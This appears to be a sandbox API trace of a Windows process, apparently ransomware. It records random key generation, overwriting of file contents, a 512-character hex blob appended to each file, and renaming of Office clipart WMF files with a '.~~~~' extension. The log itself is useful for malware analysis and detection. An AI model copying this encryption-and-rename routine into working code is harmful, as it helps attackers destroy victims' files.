	[0104.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.374] GetLastError () returned 0x0
	[0104.376] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.377] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.377] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22436740946) returned 1
	[0104.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7e3f2f0, dwHighDateTime=0x1d60e1e)) 
	[0104.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863fd8
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863fd8 | out: hHeap=0x300000) returned 1
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d278
	[0104.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868808
	[0104.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d278 | out: hHeap=0x300000) returned 1
	[0104.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.378] GetLastError () returned 0x0
	[0104.378] GetLastError () returned 0x0
	[0104.379] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.379] GetLastError () returned 0x0
	[0104.379] GetLastError () returned 0x0
	[0104.382] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff77a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.382] WriteFile (in: hFile=0x144, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x1f8fec0*=0x8860, lpOverlapped=0x0) returned 1
	[0104.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.383] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.383] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.383] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.383] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.383] CloseHandle (hObject=0x144) returned 1
	[0104.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.~~~~")) returned 1
	[0104.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.397] GetLastError () returned 0x0
	[0104.410] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.411] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.411] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.411] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22440098791) returned 1
	[0104.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7e8b5b0, dwHighDateTime=0x1d60e1e)) 
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28baf48
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28baf48 | out: hHeap=0x300000) returned 1
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28688a0
	[0104.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.412] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.412] GetLastError () returned 0x0
	[0104.412] GetLastError () returned 0x0
	[0104.412] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.412] GetLastError () returned 0x0
	[0104.412] GetLastError () returned 0x0
	[0104.417] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff99dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.417] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x6624, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x1f8fec0*=0x6624, lpOverlapped=0x0) returned 1
	[0104.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.418] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.418] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.418] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.418] CloseHandle (hObject=0xc4) returned 1
	[0104.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e430
	[0104.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.~~~~")) returned 1
	[0104.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.419] GetLastError () returned 0x0
	[0104.420] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.421] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.421] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.421] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22441163094) returned 1
	[0104.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7eb1710, dwHighDateTime=0x1d60e1e)) 
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2864048
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2864048 | out: hHeap=0x300000) returned 1
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e430
	[0104.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868938
	[0104.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e430 | out: hHeap=0x300000) returned 1
	[0104.422] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.423] GetLastError () returned 0x0
	[0104.423] GetLastError () returned 0x0
	[0104.423] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.423] GetLastError () returned 0x0
	[0104.423] GetLastError () returned 0x0
	[0104.425] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc332, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.426] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x3cce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x1f8fec0*=0x3cce, lpOverlapped=0x0) returned 1
	[0104.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.426] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.427] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.427] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.427] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.427] CloseHandle (hObject=0xc4) returned 1
	[0104.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e4d8
	[0104.427] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.~~~~")) returned 1
	[0104.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.428] GetLastError () returned 0x0
	[0104.428] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.430] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.430] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22442035974) returned 1
	[0104.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7eb1710, dwHighDateTime=0x1d60e1e)) 
	[0104.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2864080
	[0104.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2864080 | out: hHeap=0x300000) returned 1
	[0104.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e4d8
	[0104.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28689d0
	[0104.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.431] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.431] GetLastError () returned 0x0
	[0104.431] GetLastError () returned 0x0
	[0104.432] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.432] GetLastError () returned 0x0
	[0104.432] GetLastError () returned 0x0
	[0104.436] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff294c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.436] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0xd6b4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x1f8fec0*=0xd6b4, lpOverlapped=0x0) returned 1
	[0104.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.437] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.437] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.437] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.437] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.437] CloseHandle (hObject=0xc4) returned 1
	[0104.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293e4d8
	[0104.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.~~~~")) returned 1
	[0104.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.439] GetLastError () returned 0x0
	[0104.439] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.440] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.441] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.441] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22443085386) returned 1
	[0104.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa7ed7870, dwHighDateTime=0x1d60e1e)) 
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28640b8
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28640b8 | out: hHeap=0x300000) returned 1
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293e4d8
	[0104.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868a68
	[0104.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293e4d8 | out: hHeap=0x300000) returned 1
	[0104.442] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.442] GetLastError () returned 0x0
	[0104.442] GetLastError () returned 0x0
	[0104.442] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.442] GetLastError () returned 0x0
	[0104.442] GetLastError () returned 0x0
	[0104.477] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff5ae0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.477] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x1f8fec0*=0xa520, lpOverlapped=0x0) returned 1
	[0104.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.478] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.478] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.478] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.478] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.478] CloseHandle (hObject=0xc4) returned 1
	[0104.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
